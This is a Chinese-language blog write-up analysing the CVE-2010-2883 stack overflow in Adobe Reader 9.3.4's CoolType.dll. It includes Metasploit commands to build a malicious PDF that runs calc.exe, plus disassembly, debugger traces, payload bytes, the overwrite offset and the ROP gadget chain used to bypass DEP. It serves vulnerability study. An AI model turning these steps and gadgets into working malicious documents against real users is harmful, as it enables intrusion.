漏洞战争-cve-2010-2883

on under 二进制
13 minute read

0x00 漏洞情况

漏洞出现在cooltype.dll文件中,由strcat调用产生栈溢出漏洞

strcat:

原型
extern char *strcat(char *dest,char *src);

用法
#include <string.h>
在C++中,则存在于<cstring>头文件中.

功能
把src所指字符串添加到dest结尾处(覆盖dest结尾处的'\0').

说明
src和dest所指内存区域不可以重叠且dest必须有足够的空间来容纳src的字符串.
返回指向dest的指针.

准备工作:
1.下载adobe reader 9.3.4
    神器站点:
    https://www.oldapps.com/index.php
2.制作恶意pdf:
    https://www.freebuf.com/vuls/80072.html
msfconsole
    search cve-2010-2883
    use exploit/windows/fileformat/adobe_cooltype_sing
    set payload windows/exec
    set cmd calc.exe
    exploit
3.实验系统:
    windwos 2003 R2 sp2 32位

0x01 ida对应代码

1.安装adobe reader9.3.4后,将cooltype.dll用ida打开

2.搜索方法:
ctrl+s
双击.text段
alt+t搜索所有"SING"
在9个结果中一一打开
发现第二个搜索结果为书中的关键有溢出代码处

3.具体如下:
------------------key code------------------
.text:0803DBF2                 push    ebp
.text:0803DBF3                 sub     esp, 104h
.text:0803DBF9                 lea     ebp, [esp-4]
.text:0803DBFD                 mov     eax, ___security_cookie
.text:0803DC02                 xor     eax, ebp
.text:0803DC04                 mov     [ebp+108h+var_4], eax
.text:0803DC0A                 push    4Ch
.text:0803DC0C                 mov     eax, offset sub_81847C4
.text:0803DC11                 call    __EH_prolog3_catch
.text:0803DC16                 mov     eax, [ebp+108h+arg_C]
.text:0803DC1C                 mov     edi, [ebp+108h+arg_0]
.text:0803DC22                 mov     ebx, [ebp+108h+arg_4]
.text:0803DC28                 mov     [ebp+108h+var_130], edi
.text:0803DC2B                 mov     [ebp+108h+var_138], eax
.text:0803DC2E                 call    sub_8041626
.text:0803DC33                 xor     esi, esi
.text:0803DC35                 cmp     dword ptr [edi+8], 3
.text:0803DC39                 mov     [ebp+108h+var_10C], esi
.text:0803DC3C                 jz      loc_803DDF9
.text:0803DC42                 mov     [ebp+108h+var_124], esi
.text:0803DC45                 mov     [ebp+108h+var_120], esi
.text:0803DC48                 cmp     dword ptr [edi+0Ch], 1
.text:0803DC4C                 mov     byte ptr [ebp+108h+var_10C], 1
.text:0803DC50                 jnz     loc_803DDA2
.text:0803DC56                 push    offset aName    ; "name"
.text:0803DC5B                 push    edi             ; int
.text:0803DC5C                 lea     ecx, [ebp+108h+var_124]
.text:0803DC5F                 mov     [ebp+108h+var_119], 0
.text:0803DC63                 call    sub_802178F
.text:0803DC68                 cmp     [ebp+108h+var_124], esi
.text:0803DC6B                 jnz     short loc_803DCD6
.text:0803DC6D                 push    offset aSing    ; "SING"
.text:0803DC72                 push    edi             ; int
.text:0803DC73                 lea     ecx, [ebp+108h+var_12C]
.text:0803DC76                 call    sub_8021ABE
.text:0803DC7B                 mov     eax, [ebp+108h+var_12C]
.text:0803DC7E                 cmp     eax, esi
.text:0803DC80                 mov     byte ptr [ebp+108h+var_10C], 2
.text:0803DC84                 jz      short loc_803DCBD
.text:0803DC86                 mov     ecx, [eax]
.text:0803DC88                 and     ecx, 0FFFFh
.text:0803DC8E                 jz      short loc_803DC98
.text:0803DC90                 cmp     ecx, 100h
.text:0803DC96                 jnz     short loc_803DCB9
.text:0803DC98
.text:0803DC98 loc_803DC98:                            ; CODE XREF: sub_803DBF2+9Cj
.text:0803DC98                 add     eax, 10h
.text:0803DC9B                 push    eax             ; char *
.text:0803DC9C                 lea     eax, [ebp+108h+var_108]
.text:0803DC9F                 push    eax             ; char *
.text:0803DCA0                 mov     [ebp+108h+var_108], 0
.text:0803DCA4                 call    strcat
.text:0803DCA9                 pop     ecx
.text:0803DCAA                 pop     ecx
.text:0803DCAB                 lea     eax, [ebp+108h+var_108]
.text:0803DCAE                 push    eax
.text:0803DCAF                 mov     ecx, ebx
.text:0803DCB1                 call    sub_8001243
.text:0803DCB6                 mov     eax, [ebp+108h+var_12C]
--------------end------------------------

4.分析
a.803dca4处的call strcat的两个参数为803dc9b处的eax和803dc9f处的eax
b.在803dc9b处下断调试容易跟踪详情

0x02 od动态跟踪

1.打开reader,od附加,f9
2.ctrl+g:803dc9b,f2
3.reader中打开msf.pdf
4.od中断到803dc9b处,eax=3a0481c,对应eax中内容如下:
------------source------------
C1 23 FF 72 29 25 28 FA 14 A7 82 4A 0C 0C 0C 0C 1A 49 4D 57 BA 5E 73 48 4C 17 A1 86 CC 31 4A 54
8A 21 53 5A D0 1E 19 C5 14 E2 3F 09 B5 0B 22 8A 04 DD AA 0D 70 22 95 B7 3D 4F 7C B6 BF FB D3 88
ED D0 8B 34 71 AD 87 22 9A B5 7E 26 17 8F B0 0A CA F5 B3 ED 30 AC B8 98 F8 4A 56 98 42 87 9D 4A
AB E5 BF 42 08 59 D0 79 1A 7A 7B 6C B7 C7 6D A7 98 66 B2 43 0C A1 7D 34 27 59 BC D2 E6 5B A1 09
2C 94 DA 54 C3 51 54 CC C1 1B E7 0A 5D ED 16 8E 15 0B 57 30 5A 22 6E D4 73 1D C3 C5 7F 5D F7 6C
8C 86 FE 39 88 59 1C 66 A6 D3 20 57 04 CE 8C 58 D6 24 BB 75 05 BE 32 EE E3 31 23 FC 3B EA DC C1
31 60 F7 89 33 A7 EF 7E BD 48 57 EB 7B DB 64 BD 91 D6 C3 D4 74 CA ED 29 4B 1C AE DA EB 81 01 4A
BB 21 7F 1D A9 68 6A C7 87 7C 74 3B 27 8F 73 81 42 5F 84 AE 6A 88 92 40 F7 33 B1 FC 46 17 A7 86
88 FE 04 BC 2D 05 87 A9 89 A3 DD A3 60 E6 7B 49 96 6E EA 95 EE 0C 0B 15 5D 56 0E 8B 55 8C 80 C3
48 B6 B3 8E 1E 80 8A BC 09 71 E4 11 09 97 23 EE C6 08 8A 4A 24 13 A8 4D E5 05 43 96 AC BA 8D FC
AF 55 9F 3C 3A 84 7E 7B 93 DB 75 2B E3 C7 BF 22 44 2E 46 01 40 8E EA 48 49 F6 C6 ED 0C F4 82 7D
29 6C B6 DC 7E 73 14 93 F3 71 91 71 C7 B8 FE 0A F3 AF EF 38 B1 EC B5 4C F7 79 DF 50 92 EF D3 D8
8E BB 68 A1 07 3B CC 97 5D 2A 0D CF 82 AB AC 62 7A 7F 15 E9 DE 2E F4 E6 6B 5F 86 F2 F5 E2 8F 26
B1 BE 30 EC 1F AE B5 7F 6B 83 BD 67 B9 6B 74 02 34 70 BC C4 CB CF DA 27 C2 3D F7 C1 99 14 49 15
AC C3 CE 15 DF 97 9D 41 B5 A5 6E C9 7C B6 3E F0 97 6C 12 ED D1 B7 07 24 11 11 EB 83 E5 89 E4 B5
57 0F 68 52 46 41 5D BB 5A EF 11 07 16 2B D6 C3 0E 96 0C DD F3 38 33 4F 38 CB 80 4A D7 41 7D 87
3B CA 10 96 BF D5 70 4C 63 B6 A7 C9 CE 0F 61 0B 6C CB 52 EF 11 0C 51 7A E7 2F 39 22 0D 28 6A 89
87 C4 C3 56 AC 9D 48 DC C8 60 B1 8F 02 6D 49 6B 90 85 E0 C5 FD 5F D1 AA 30 ED FD C2 6C 00 00 00
-------------end--------------

共18*32-3=573个字节

5.f8,f8,f8到803dca0处时eax=12e4b0,也即strcat的目标地址(第一个参数)
(12e4b0在堆栈窗口中跟随)
------------12e4b0-------------
0012E4B0   0012E400
0012E4B4   0012E688
0012E4B8   00000000
0012E4BC   91E717D0
0012E4C0   0012E830
0012E4C4   0823AE9C  CoolType.0823AE9C
0012E4C8   080852EF  返回到 CoolType.080852EF 来自 CoolType.0804818F
0012E4CC   0823A650  CoolType.0823A650
0012E4D0   044498BC
0012E4D4   08080D0B  CoolType.08080D0B
0012E4D8   046B1C1C
0012E4DC   0012E4AC
0012E4E0   0012E528
0012E4E4   0136F8AF  AcroRd_1.0136F8AF
0012E4E8   FFFFFFFF
0012E4EC   010CB9DC  返回到 AcroRd_1.010CB9DC 来自 AcroRd_1.00BB1899
0012E4F0   011BA90A  返回到 AcroRd_1.011BA90A
0012E4F4   0012E55C
0012E4F8   0012E56C
0012E4FC   0012E558
0012E500  /0012E554
0012E504  |011BA949  返回到 AcroRd_1.011BA949 来自 AcroRd_1.00BB1899
0012E508  |91E71706
0012E50C  |00000004
0012E510  |0012E688
0012E514  |00000000
0012E518  |0012E518
0012E51C  |011BA90A  返回到 AcroRd_1.011BA90A
0012E520  |0012E588
0012E524  |0012E598

-------------end---------------

f8执行到803dca4处,此时下一句为strcat,803dca0处的mov byte ptr ss:[ebp],0x0,ss:[ebp]在od中看到是eax的大小(0x12e4b0),这句mov指令将12e4b0内存地址对应的数据内容中的数据的第一个字节置0,这样strcat(argv1=0x12e4b0,argv2=0x3a0481c)的第一个参数对应内存数据的最低一个字节的内容变为0,于是strcat将从12e4b0处开始拼接第二个参数对应的内存数据,而12e4b0在堆栈窗口中的情况如上所示

(12e4b0在数据窗口中跟随)
--------------start--------------
00 E4 12 00 88 E6 12 00 00 00 00 00 9E 4F 26 04 30 E8 12 00 9C AE 23 08 A9 51 08 08 50 A6 23 08
4C 97 B8 03 D1 0B 08 08 A4 5A 9F 03 AC E4 12 00 28 E5 12 00 76 BE 36 01 FF FF FF FF 87 85 0C 01
DA 75 1B 01 5C E5 12 00 6C E5 12 00 58 E5 12 00 54 E5 12 00 19 76 1B 01 78 4C 26 04 04 00 00 00
88 E6 12 00 00 00 00 00 18 E5 12 00 DA 75 1B 01 88 E5 12 00 98 E5 12 00 AC E5 12 00 E2 8D 36 01
FF FF FF FF 19 76 1B 01 88 E6 12 00 00 02 00 00 78 E5 12 00 6E 30 08 08 B4 E6 12 00 AC 5A 9F 03
04 00 00 00 04 00 00 00 35 83 04 08 0A 4F 26 04 04 00 00 00 E0 E5 12 00 00 00 00 00 01 00 00 00
04 00 00 00 5C E5 12 00 A8 E5 12 00 BC E5 12 00 6D 1C 17 08 66 33 15 0C FE FF FF FF 35 83 04 08
3F 73 01 08 60 E6 12 00 08 00 00 00 04 00 00 00 57 10 00 08 84 73 01 08 4E 4F 26 04 04 00 00 00
A8 E6 12 00 36 4E 26 04 F0 E6 12 00 87 D0 0D 08 F0 E6 12 00 E0 E5 12 00 00 00 00 00 D8 E6 12 00
76 4C 26 04 30 E8 12 00 9C AE 23 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
--------------end----------------

6.12e4b0处开始的第7个栈单元(12e4c8)中内容为某函数的retn地址080851a9

易知12e4c8处首先被覆盖成86a1174c(12e4b0对应的堆栈窗口中第七个栈单元的内容)
但是书中解释cve-2010-2883是由于在12e4b0处开始的第四个栈单元的内容被覆盖成0c0c0c0c才导致可heap spray的,困惑,为何会是第4个栈单元的内容被覆盖后会是eip,od中的堆栈窗口的的关键字"返回到..."应该才是某函数的返回地址,再由返回地址被覆盖成0c0c0c0c从而heap spray的,继续在od中跟踪看看,发现在本函数帧执行完(执行完retn)之前就会执行弹出calc.exe程序,说明strcat导致的溢出并不是覆盖了12e4b0处开始的第七个栈单元的某函数的返回地址而溢出calc.exe的,这样的话,导致溢出eip的应该是下一个,或下面第几个的call调用

strcat函数调用后的下一个函数帧正常的执行情况是:

a>由于strcat函数在12e4b0处拼接了超长数据,执行完strcat后esp=12e440

b>与call strcat同一帧(执行retn之前)中的函数调用--->在eip执行到0x803dda8处的call 08016b96调用为关键call调用,此处f8将弹出calc.exe

c>可见08016b96的子函数帧(也即08016b96下面的函数帧)会导致calc.exe的payload被执行,eip=803dda8时esp=0012e43c,对应堆栈窗口数据如下:
-----------------esp=0012e43c-----------------
0012E43C   0012E6F0
0012E440   0012E5E0
0012E444   0012E494
0012E448   171C3D91
0012E44C   00000004
0012E450   0012E6A8
0012E454   00000000
0012E458   023279D0
0012E45C   02327850  UNICODE "ation or Bitstream Inc., respectively. For further information, contact: fonts at gnome dot org.http"
0012E460   04908DE0
0012E464   04908DD4
0012E468  /0012E498
0012E46C  |781474D8  返回到 msvcr80.781474D8 来自 msvcr80.78147424
0012E470  |02327850  UNICODE "ation or Bitstream Inc., respectively. For further information, contact: fonts at gnome dot org.http"
0012E474  |04908DE0
0012E478  |000001F4
0012E47C  |0000000C
0012E480  |0012E6D8
0012E484  |0012E6A8
0012E488  |0012E6F0
0012E48C  |047C5634
0012E490  |00001DDF
0012E494  |00000000
0012E498  \00000000
0012E49C   010C8577  返回到 AcroRd_1.010C8577 来自 AcroRd_1.00BC1A14
--------------------end-----------------------

d>esp=12e43c,还没到12e4b0,也即在eip=803dda8时,在上面对应堆栈窗口中可以看到有两个retn地址(对应"返回到..."),可能是因为这两个返回地址在执行完803dda8处的call 8016b96之后被覆盖从而控制eip,但是cve-2010-2883是一个由strcat拼接超长字符串造成的溢出,拼接是从12e4b0处开始的,也即在12e4b0之前的数据是否被覆盖都是不用考虑的,而803dda8处的call 8016b96中,函数8016b96的子函数帧的堆栈空间更是会在当前的esp之上重新开辟(小于当前esp,更小于12e4b0),更不用考虑是不是由于函数8016b96的子函数帧中的函数调用覆盖了函数返回地址导致可控eip,这样的话,只能是由于函数8016b96帧中的某一句汇编指令调用了不可读或不可写的内存地址的数据或其他的原因导致异常,从而执行异常处理程序,而要控制eip,只能是覆盖seh链中异常处理程序的函数地址

e>在803dda8处f7进入8016b96函数,一直f8到8016c0e处的801bad9,再f8便会弹出calc.exe,可见是8016c0e中的汇编指令导致eip可控的,f7进入801bad9函数

--------------------801bad9函数帧----------------------
0801BAD9    55              push ebp
0801BADA    8BEC            mov ebp,esp
0801BADC    FF75 20         push dword ptr ss:[ebp+0x20]
0801BADF    8B4D 08         mov ecx,dword ptr ss:[ebp+0x8]
0801BAE2    FF75 1C         push dword ptr ss:[ebp+0x1C]
0801BAE5    8B01            mov eax,dword ptr ds:[ecx]
0801BAE7    FF75 18         push dword ptr ss:[ebp+0x18]
0801BAEA    FF05 A0A62308   inc dword ptr ds:[0x823A6A0]
0801BAF0    FF75 14         push dword ptr ss:[ebp+0x14]
0801BAF3    FF75 10         push dword ptr ss:[ebp+0x10]             ; ntdll.7C959EBC
0801BAF6    FF75 0C         push dword ptr ss:[ebp+0xC]              ; ntdll.7C959E05
0801BAF9    FF10            call dword ptr ds:[eax]
0801BAFB    84C0            test al,al
0801BAFD    75 06           jnz short CoolType.0801BB05
0801BAFF    FF0D A0A62308   dec dword ptr ds:[0x823A6A0]
0801BB05    5D              pop ebp                                  ; CoolType.08016C13
0801BB06    C3              retn
-----------------------end-----------------------------

f>也即在上面的801bad9函数帧中801bb06处的retn之前的这几句中将导致异常,然后进入异常处理程序,此时eip=801bad9,seh链表如下:

---------------------seh------------------------
SEH 链用于  主线程
地址          SE处理程序
0012DDC4      CoolType.08175AA2
0012E4A4      CoolType.081847C4
0012E6E4      C2FDED30
---------------------end------------------------

g>f8到801baf9处的call ds:[eax],如果再f8将弹出calc.exe,说明是801baf9处的call ds:[eax]导致的异常,或是ds:[eax]的子函数导致异常,f7进入808afce(ds:[eax]=808afce)

h>f8到808b1c0处的ds:[eax],如果再f8将弹出calc.exe,说明是808b1c0处的call ds:[eax]导致的异常,或是ds:[eax]的子函数导致异常,f7进入4a80cb38(ds:[eax]),4a80cb38处汇编指令如下:

-----------------4a80cb38-------------------
4A80CB38    81C5 94070000   add ebp,0x794
4A80CB3E    C9              leave
4A80CB3F    C3              retn
-------------------end----------------------

此时的seh链如下:(没有改变)
-------------seh---------------
SEH 链用于  主线程
地址          SE处理程序
0012DDC4      CoolType.08175AA2
0012E4A4      CoolType.081847C4
0012E6E4      C2FDED30
-------------end---------------

i>f8执行到4a80cb3e处,ebp=12e4b4,leave=mov esp,ebp+pop ebp,可见执行到4a80cb3f处时,esp=12e4b4+4=12e4b8,而strcat拼接造成的溢出中strcat的第一个参数为12e4b0,且是从12e4b0处开始拼接(因为12e4b0的低字节为00),所以是现在如果在4a80cb3f处f8,将转到12e4b8中的地址去执行,也即会使得eip=ss:[12e4b8],也即strcat第一个参数12e4b0下面的第三个栈单元中的数据,也即来自于strcat函数的第二个参数3a0481c对应内存数据的第三个栈单元的值将成为eip,strcat的第二个参数对应内存中的第三个以后的数据如下:

------------source------------
C1 23 FF 72 29 25 28 FA 14 A7 82 4A 0C 0C 0C 0C 1A 49 4D 57 BA 5E 73 48 4C 17 A1 86 CC 31 4A 54
8A 21 53 5A D0 1E 19 C5 14 E2 3F 09 B5 0B 22 8A 04 DD AA 0D 70 22 95 B7 3D 4F 7C B6 BF FB D3 88
ED D0 8B 34 71 AD 87 22 9A B5 7E 26 17 8F B0 0A CA F5 B3 ED 30 AC B8 98 F8 4A 56 98 42 87 9D 4A
AB E5 BF 42 08 59 D0 79 1A 7A 7B 6C B7 C7 6D A7 98 66 B2 43 0C A1 7D 34 27 59 BC D2 E6 5B A1 09
2C 94 DA 54 C3 51 54 CC C1 1B E7 0A 5D ED 16 8E 15 0B 57 30 5A 22 6E D4 73 1D C3 C5 7F 5D F7 6C
8C 86 FE 39 88 59 1C 66 A6 D3 20 57 04 CE 8C 58 D6 24 BB 75 05 BE 32 EE E3 31 23 FC 3B EA DC C1
31 60 F7 89 33 A7 EF 7E BD 48 57 EB 7B DB 64 BD 91 D6 C3 D4 74 CA ED 29 4B 1C AE DA EB 81 01 4A
BB 21 7F 1D A9 68 6A C7 87 7C 74 3B 27 8F 73 81 42 5F 84 AE 6A 88 92 40 F7 33 B1 FC 46 17 A7 86
88 FE 04 BC 2D 05 87 A9 89 A3 DD A3 60 E6 7B 49 96 6E EA 95 EE 0C 0B 15 5D 56 0E 8B 55 8C 80 C3
48 B6 B3 8E 1E 80 8A BC 09 71 E4 11 09 97 23 EE C6 08 8A 4A 24 13 A8 4D E5 05 43 96 AC BA 8D FC
AF 55 9F 3C 3A 84 7E 7B 93 DB 75 2B E3 C7 BF 22 44 2E 46 01 40 8E EA 48 49 F6 C6 ED 0C F4 82 7D
29 6C B6 DC 7E 73 14 93 F3 71 91 71 C7 B8 FE 0A F3 AF EF 38 B1 EC B5 4C F7 79 DF 50 92 EF D3 D8
8E BB 68 A1 07 3B CC 97 5D 2A 0D CF 82 AB AC 62 7A 7F 15 E9 DE 2E F4 E6 6B 5F 86 F2 F5 E2 8F 26
B1 BE 30 EC 1F AE B5 7F 6B 83 BD 67 B9 6B 74 02 34 70 BC C4 CB CF DA 27 C2 3D F7 C1 99 14 49 15
AC C3 CE 15 DF 97 9D 41 B5 A5 6E C9 7C B6 3E F0 97 6C 12 ED D1 B7 07 24 11 11 EB 83 E5 89 E4 B5
57 0F 68 52 46 41 5D BB 5A EF 11 07 16 2B D6 C3 0E 96 0C DD F3 38 33 4F 38 CB 80 4A D7 41 7D 87
3B CA 10 96 BF D5 70 4C 63 B6 A7 C9 CE 0F 61 0B 6C CB 52 EF 11 0C 51 7A E7 2F 39 22 0D 28 6A 89
87 C4 C3 56 AC 9D 48 DC C8 60 B1 8F 02 6D 49 6B 90 85 E0 C5 FD 5F D1 AA 30 ED FD C2 6C 00 00 00
-------------end--------------
也即为上面的4a82a714,第四个栈单元的值为0c0c0c0c

j>此时的seh如下(没有改变)

--------------seh--------------
SEH 链用于  主线程
地址          SE处理程序
0012DDC4      CoolType.08175AA2
0012E4A4      CoolType.081847C4
0012E6E4      C2FDED30
--------------end--------------

f8步过4a80cb3f处的retn,eip=4a82a714,开始了rop(ret2lib)
-----------------4a82a714---------------------
4A82A714    5C              pop esp                                  ; 0C0C0C0C
4A82A715    C3              retn
-------------------end------------------------

0c0c0c0c对应的堆栈窗口中数据如下:
-------------0c0c0c0c-------------
0C0C0C0C   4A8063A5  icucnv36.4A8063A5
0C0C0C10   4A8A0000  ASCII "UTF-32"
0C0C0C14   4A802196  icucnv36.4A802196
0C0C0C18   4A801F90  icucnv36.4A801F90
0C0C0C1C   4A84903C  <&KERNEL32.CreateFileA>
0C0C0C20   4A80B692  icucnv36.4A80B692
0C0C0C24   4A801064  icucnv36.4A801064
0C0C0C28   4A8522C8  ASCII "iso88591"
0C0C0C2C   10000000  offset RdLang32.<ModuleEntryPoint>
0C0C0C30   00000000
0C0C0C34   00000000
0C0C0C38   00000002
0C0C0C3C   00000102
0C0C0C40   00000000
0C0C0C44   4A8063A5  icucnv36.4A8063A5
0C0C0C48   4A801064  icucnv36.4A801064
0C0C0C4C   4A842DB2  icucnv36.4A842DB2
0C0C0C50   4A802AB1  icucnv36.4A802AB1
0C0C0C54   00000008
0C0C0C58   4A80A8A6  icucnv36.4A80A8A6
0C0C0C5C   4A801F90  icucnv36.4A801F90
0C0C0C60   4A849038  <&KERNEL32.CreateFileMappingA>
0C0C0C64   4A80B692  icucnv36.4A80B692
0C0C0C68   4A801064  icucnv36.4A801064
0C0C0C6C   FFFFFFFF

</ModuleEntryPoint>
----------------end---------------

此时seh链如下:(依然不变)
-----------seh------------
SEH 链用于  主线程
地址          SE处理程序
0012DDC4      CoolType.08175AA2
0012E4A4      CoolType.081847C4
0012E6E4      C2FDED30
-----------end------------
可见并不是由于产生异常导致的seh链被覆盖使得eip可控,还没进seh处理函数就已经开始了shellcode的执行,这篇文章说的是由于异常造成的应该是不正确的
http://bbs.ichunqiu.com/thread-8849-1-1.html

在汇编中,段寄存器名称如下:
CS(Code Segment):代码段寄存器;
DS(Data Segment):数据段寄存器;
SS(Stack Segment):堆栈段寄存器;

在上面第h步跟踪到808b1c0处的call ds:[eax]处时,eax=12e6a8,在数据窗口中ctrl+g:12e6a8,数据为:

--------------ds:[12e6a8]--------------
0012E6A8  38 CB 80 4A D7 41 7D 87 3B CA 10 96 BF D5 70 4C  8藔J譇}??柨誴L
-----------------end-------------------

在堆栈窗口中ctrl+g:12e6a8,数据为:

--------------ss:[12e6a8]--------------
0012E6A8   4A80CB38  返回到 icucnv36.4A80CB38 来自 icucnv36.4A846C49
0012E6AC   877D41D7
0012E6B0   9610CA3B
0012E6B4   4C70D5BF
------------------end------------------

ds段和ss段的数据竟然一样,暂且不管为什么会这样,由于808b1c0处为call ds:[eax],也即相当于call ss:[12e6a8],而前面strcat函数执行完后12e4b0处是开始被拼接的位置,且前面strcat拼接的长度是573,0x12e6a8-0x12e4b0=504<573,所以是strcat可控的,因此只要将strcat的第二个参数的第505到508个字节的数据设置为shellcode的起始地址就实现了控制eip了,而由msf生成的payload中的strcat中的第二个参数的第505到508构成的内存地址为4a80cb38

也就是说,真正开始执行shellcode的是由于:
808b1c0处的call ds:[eax]相当于call ss:[12e6a8],而ss:[12e6a8]在执行strcat时是可以通过第二个参数控制的,也即这个漏洞触发的根本在于strcat的第二个参数的第505到508个字节构成的地址会覆盖掉strcat第一个参数(strcat函数的目标拼接地址)后面第505到508个字节,而这个位置是会在被808b1c0处被call的.

于是只要构造第二个参数的505到508个地址为rop的第一条指令的地址就可以了,msf生成构成的strcat的第二个参数为如下的shellcode链:

c1 23 ff 72 29 25 28 fa    +    14 a7 82 4a    +    0c 0c 0c 0c    +    ...    +    38 cb 80 4a

由于808b1c0处的call ds:[eax]===>call 4a80cb38,而4a80cb38是代码段中的数据(汇编窗口中为代码段),如下:

------------4a80cb38------------
4A80CB38    81C5 94070000   add ebp,0x794
4A80CB3E    C9              leave
4A80CB3F    C3              retn
---------------end--------------

执行完4a80cb38处的gadget后,将跳到4a82a714处开始执行,而跳转地址的稳定性是依靠4a80cb38和4a82a714这两个adobe reader的icucnv36.dll模块中的地址,这两个地址是可执行的,

---------------cs:[4a82a714]---------------
4A82A714    5C              pop esp                                  ; 0C0C0C0C
4A82A715    C3              retn
---------------------end-------------------

pop esp会使得esp=0c0c0c0c,也就是将0c0c0c0c处的数据"入栈",pop esp后的retn将使eip=[0c0c0c0c],而0c0c0c0c处的内容如下:

-------------------ss:[0c0c0c0c]-------------------------
0C0C0C0C   4A8063A5  icucnv36.4A8063A5
0C0C0C10   4A8A0000  ASCII "UTF-32"
0C0C0C14   4A802196  icucnv36.4A802196
0C0C0C18   4A801F90  icucnv36.4A801F90
0C0C0C1C   4A84903C  <&KERNEL32.CreateFileA>
0C0C0C20   4A80B692  icucnv36.4A80B692
0C0C0C24   4A801064  icucnv36.4A801064
0C0C0C28   4A8522C8  ASCII "iso88591"
0C0C0C2C   10000000  offset RdLang32.<ModuleEntryPoint>
0C0C0C30   00000000
0C0C0C34   00000000
0C0C0C38   00000002
0C0C0C3C   00000102
0C0C0C40   00000000
0C0C0C44   4A8063A5  icucnv36.4A8063A5
0C0C0C48   4A801064  icucnv36.4A801064
0C0C0C4C   4A842DB2  icucnv36.4A842DB2
0C0C0C50   4A802AB1  icucnv36.4A802AB1
0C0C0C54   00000008
0C0C0C58   4A80A8A6  icucnv36.4A80A8A6
0C0C0C5C   4A801F90  icucnv36.4A801F90
0C0C0C60   4A849038  <&KERNEL32.CreateFileMappingA>
0C0C0C64   4A80B692  icucnv36.4A80B692
0C0C0C68   4A801064  icucnv36.4A801064
0C0C0C6C   FFFFFFFF
0C0C0C70   00000000
0C0C0C74   00000040
-------------------------end-----------------------------

然后跳到0c0c0c0c中构造好的rop链开始执行,0c0c0c0c处存放的"地址串"正是构造好的用来关闭dep的gadgets,这里与一般的heap spray的绕过aslr中的0c0c0c0c的功能有点不同,heap spray中的0c0c0c0c处存放的是shellcode,也即令eip=0c0c0c0c,这里是eip=[0c0c0c0c],也即在0c0c0c0c处不存shellcode,而是存rop gadgets,试想,如果在strcat的第二个参数的第505到508字节存为0c0c0c0c,然后在0c0c0c0c处存放shellcode也是可以达到目的的.

漏洞战争, 漏洞分析, adobe reader
home
github
archive
category